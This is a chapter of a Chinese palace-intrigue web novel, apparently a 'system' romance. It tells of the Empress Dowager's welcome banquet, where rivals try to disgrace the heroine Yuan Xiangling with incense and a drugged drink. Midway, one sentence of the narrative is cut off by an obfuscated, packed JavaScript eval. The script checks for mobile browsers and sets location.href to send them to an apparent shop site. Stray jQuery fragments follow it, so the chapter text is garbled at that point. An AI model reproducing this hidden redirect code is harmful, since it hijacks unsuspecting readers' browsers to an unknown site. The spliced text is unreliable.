11.长公主(一)

作品:《晏与湘泠

    正阳门外,卤簿仪仗绵延数里,凤辇渐近,黄罗伞盖下,太后端坐其内,神色安和。永宁长公主翟车紧随其后,素衣淡妆,仍难掩天家气度。


    皇帝亲率百官与众妃嫔迎接,待轿辇至,礼乐齐作,百官四拜。皇帝亲自扶着太后下凤辇。


    慈宁宫内,太后端坐在铺着明黄软垫的正殿主位之上,神色依旧雍容沉静。永宁长公主依坐在一侧,素面无波澜,纵是面对满堂至亲,眉眼间依旧覆着一层冷漠。


    皇帝领着后宫妃嫔、诸位皇子公主,齐齐行了八拜大礼。


    “母后、长姐,一路辛苦。”礼毕,皇帝侧身落座,温和恭敬地说道。


    太后微微颔首,目光缓缓扫过跪着的众人,最终落在唐晏舟身上,眉眼顿时柔缓下来,露出几分真切的笑意,朝着他招手道:“舟儿,过来。其他人便退下吧,哀家也有些累了。”


    “是。”众人缓缓退下。唐隐川和唐景章转身离开时,仍心有不甘。


    待无人时,唐隐川终究是按捺不住,向皇后低声抱怨:“皇祖母她……和父皇一样,都偏疼老三。”


    皇后轻轻叹了口气,温声劝道:“川儿,你们本就是亲兄弟,不要计较这些。在母后心中,你、舟儿、熙儿与明儿,四人都是一样的重要,从无厚薄之分。咱们是一家人,更该同心同德,相亲相爱。”


    “儿臣知晓了,母后。”


    “或许是舟儿长得极像你们早逝的十皇叔,所以,你皇祖母便将这么爱都转移到了舟儿身上吧。过几天就是你皇祖母和皇姑母的接风宴,尽快将你和清瑶的婚期定下来,以免夜长梦多。”


    “是,母后。那……沅家大小姐为侧妃的提议,父皇可同意了?”


    皇后摇了摇头,“你父皇只说,关于沅湘泠他自有安排。”


    唐隐川心里不禁琢磨,难道是唐景章?这唐景章自小就爱跟唐隐川抢东西。


    太后接风宴的宴贴,鸿胪寺序班都已按着礼部仪制司提供的名单一一分送至各勋贵世家府第。


    沅府后院偏门处,沅宛央的贴身丫鬟香凝正鬼鬼祟祟地东张西望,神色慌张,似乎在暗中在等着什么人。


    不多时,一个身着粗布麻衣、满脸麻子的小厮不动声色地靠近,乘人不备,飞快将一封密信塞到她手中。


    香凝将信紧紧揣入怀中,不敢多留片刻,转身匆匆入府,直奔沅宛央所居住的兰竹院。


    这一幕,身在暗处的衡柏看在眼里,并立马回去棠梨院禀报给了沅湘泠。


    沅湘泠闻言,吩咐道:“你再去兰竹院,务必探明信中的内容。”


    这对恶毒母女,城隍庙一事,她还未细细跟她们清算。


    兰竹院内,门窗紧闭,四下寂静无声。


    香凝压低声音,快步走到沅宛央身侧:“小姐,二殿下来信了。”


    沅宛央正在抿口脂,瞥了一眼问道:“可有人看到?”


    “并无。”


    “拿来吧。”沅宛央接过信笺,缓缓展开。


    “接风宴上,将此香佩戴在身。宴中往幽亭小筑,我会差人引唐隐川前去。务必让他以为与你已有肌肤之亲。”


    原来二人正要谋划着,如何借接风宴之便,让唐隐川收了沅宛央为侧妃。


    宴会当日,沅文献携全家一同入宫赴宴。按照沅清平的官职品阶,本没有资格列席这般规格的宫宴,可礼部尚书晏阳平是唐景章的人,区区一个名额,自然也就不在话下。


    唐隐川听说沅湘泠也在接风宴上,便早早来到了宴会场地。这于他而言,是一个千载难逢的良机,他要借此机会拿下沅湘泠。若二人有了肌肤之亲,即便没有圣旨赐婚,沅湘泠也注定只能是他的人。


    御花园中,沅湘泠与丫鬟秋词正闲庭散步。她素来不喜欢同那些世家贵女凑在一处,说些家里长短的是非闲话,更不善与她们在背地里议论、排挤旁人。明明年岁相仿,她却只觉格格不入,半点共同语言也无。


    “沅大小姐,请留步。”一个清脆可爱的女声从背后叫住了沅湘泠。


    沅湘泠好奇回头一看,是一品左都督宋隅独女宋苡安。


    “宋小姐,可是你在叫我?”


    “不然呢?现下只有咱们。”


    “那宋小姐找我有事?”


    宋苡安突然警惕地扫过四周,凑近沅湘泠的身旁,附在她耳畔悄悄说道:“有人要对你不利,你务必小心。”


    沅湘泠眉头骤然一紧,“宋小姐此话何意?”


    “具体缘由我也不大清楚。”宋苡安摇了摇头,“只是我的丫鬟阿朱方才去取水时,无意间听见暗处有人私语,不仅提了你的名字,还说到了迷魂香一类的阴毒之物。我料定,必是有人暗中想对你不利。这后宫之中,腌臢阴私手段数不胜数,这也是我不愿嫁入皇室的原因。”


    【系统:嘀!嘀!嘀!危机预警!检测到宿主即将陷入名誉危机,成功化解危机,即可获得二品官员收为己用的机缘。】


    沅湘泠心头微沉,面上却还是保持镇定,对着宋苡安谢道:“我知道了,多谢宋小姐提醒。今日之恩,湘泠铭记。”


    “唤我宋苡安就好。你也不必如此客气,不过是举手之劳。”宋苡安轻轻挽起沅湘泠的手臂,“若是你不介意,咱们便一同入席,彼此也好有个照应。实不相瞒,自上次灯会一见,我便认定咱们一定会是好朋友。”


    二人并肩刚落座不久,太后和永安长公主也到了。


    殿内丝竹声渐起,宴会正式开始。


    沅湘泠方才注意到,永宁长公主竟是那日她在街上出手相救的夫人。永宁长公主也看到了沅湘泠,四目相对的刹那,永宁长公主先是一诧,随后露出了回京后第一个微笑。


    这一幕恰好落入不远处皇帝的眼中,心里不禁好奇,这沅丫头,跟长姐相识?这丫头究竟有什么魔力,既能让舟儿求旨赐婚,现如今又能让长姐对着她笑。


    “今日特设此宴,恭迎太后与永宁长公主回宫。诸位卿家同临此席,共贺团圆,同沐天恩,一齐举杯尽今日之欢。”皇帝举杯贺道。


    众大臣也跟着附和:“愿太后安康长乐,永宁长公主顺遂无忧。”


    席间宴饮正酣,唐景章与沅宛央目光悄然一触,彼此示意时机已到。沅宛央轻捻着腰间垂落的香囊,寻了个更衣的由头,便离席了。


    唐隐川看着宫人将掺了温情之药的果子饮呈至沅湘泠面前,见她徐徐饮下,一抹志在必得的阴鸷笑意浮上唇角。


    没一会儿,唐隐川离席。一名宫女失手倾翻茶盏,茶汤溅在了沅湘泠的衣裙上。旁侧的太监立刻上前厉声斥喝宫女失礼,转而又满脸赔笑道:“泠县主恕罪,都怪这贱婢毛手毛脚,不懂规矩。奴才这就让人引您去偏殿更衣,免得污了贵体。”


    “湘泠,我陪你过去吧?”宋苡安有种不安的感觉。


    “不用啦,有秋词陪着我,不会有事的。”安抚好宋苡安,沅湘泠转向这名太监说道:“劳烦公公在前引路。”


    “县主,请随奴才来。”


    这宫道愈走愈幽,四下渐静,灯光渐暗。秋词心头微紧,忍不住上前半步,问道:“公公,此路通往何处?”


    那太监脚步未停,躬身赔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182704|196830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着笑:“秋词姑娘莫慌,咱们这是往幽亭小筑去。偏殿如今堆满了宴会所用的杂物,不便更衣,只好委屈泠县主多绕几步远路了。”


    行至最暗处,一名身材颀长的男子突然从假山上跃下,从背后给了那太监一个肘击,太监便晕了过去。


    “秦王殿下!这是……”


    “嘘!莫声张,你们跟我走。”唐晏舟拉着沅湘泠躲进假山后,既白把晕过去的太监也拖进假山洞中。随后,唐晏舟吩咐既白将秋词带回宴会。


    “幽亭小筑是个局,你可知道?”


    “嗯,我知道。”沅湘泠当然知道。只是她想知道这幕后之人是谁?在赴宴之前,她推断自己那堂妹想设计大皇子唐隐川,只是她很疑惑又是谁想要陷害自己?


    “知道你还跟着他走?”


    “我只是想看看是谁想算计我?不过……秦王你怎么知道有人要对我不利?”


    “这……你不是想知道是谁吗?那就去看看。”


    二人抹黑悄悄前往幽亭小筑。


    屋内并无光亮,窗外隐约能听见里头传出来的阵阵耳鬓厮磨的低语,混着细碎的喘息与嘤嘤的笑闹,缠缠绵绵,绕着这晚风吹得廊下的二人耳尖发烫,连脚步都不敢再往前多挪半寸。


    沅湘泠与唐晏舟正欲离开这尴尬之地。突然,前方传来急促的脚步声与喧哗声。


    “快!四处仔细搜!务必安全找到泠县主。”


    众人簇拥着皇帝疾步而来,有的神色凝重,有的一副看好戏吃瓜的模样。


    原来,在众人畅饮之时,一名宫女慌慌张张闯入殿中,禀报沅湘泠不见了,且声称她与不明男子一同去了小筑。


    沅家人自是不信的,自家的女儿品性如何,他们心里再清楚不过。这小宫女能在大庭广众之下这般无端污蔑自己的女儿,定是有人指使。三人当即起身,请求皇帝派众人寻找,当面为沅湘泠洗刷冤屈。


    “皇上,前面幽亭小筑似是有动静,也许县主正在里面。卑职等人不敢擅闯。”


    可唐景章并不这么想,他不是安排了沅宛央在幽亭小筑中勾引唐隐川,让她失身于唐隐川吗?怎么会变成沅湘泠?


    “过去瞧瞧。”


    众人赶到幽亭小筑外,屋内靡靡之音缠杂而出,不堪入耳,引得周遭一片哗然。


    “这泠县主平日里看着端庄,私下作风竟是这般不堪,可谓是人不可貌相啊!”


    沅文献双目赤红,怒瞪开口议论的夫人,斩钉截铁道:“里面绝不可能是小女!”


    “沅大人,我知道你爱女心切,可这么多眼睛都瞧着呢!县主分明就在里面与人厮混。”


    “住口!”张氏厉声怼道,“你哪只眼睛亲眼瞧见了?莫要在此信口雌黄,污我女儿清誉!”


    宋苡安扶着张氏,也开口道:“我也相信,里面绝不会是沅小姐。”宋苡安其实心里害怕,因为她知道有人要害沅湘泠。


    “本宫也不相信里面是沅大小姐。”一道清亮威严的声音压下了全场的喧闹,是永宁长公主开口了。“安和姑姑,传令下去,把门撞开!本宫今日倒要瞧瞧,是哪个胆大包天的混账东西,竟敢在本宫的接风宴上做出这等苟且之事,秽乱宫闱!”


    皇帝当即示意侍卫上前破门。


    “砰”的一声巨响,屋门应声而开。


    安和姑姑领命举灯入内,待灯火照亮床榻,看清那交叠纠缠、衣不蔽体的两道身影时,她脸色骤白,踉跄着退出屋外,“扑通”一声跪倒在地,浑身发颤。


    “里面究竟是何人?竟把你吓成这副模样?”太后不悦道。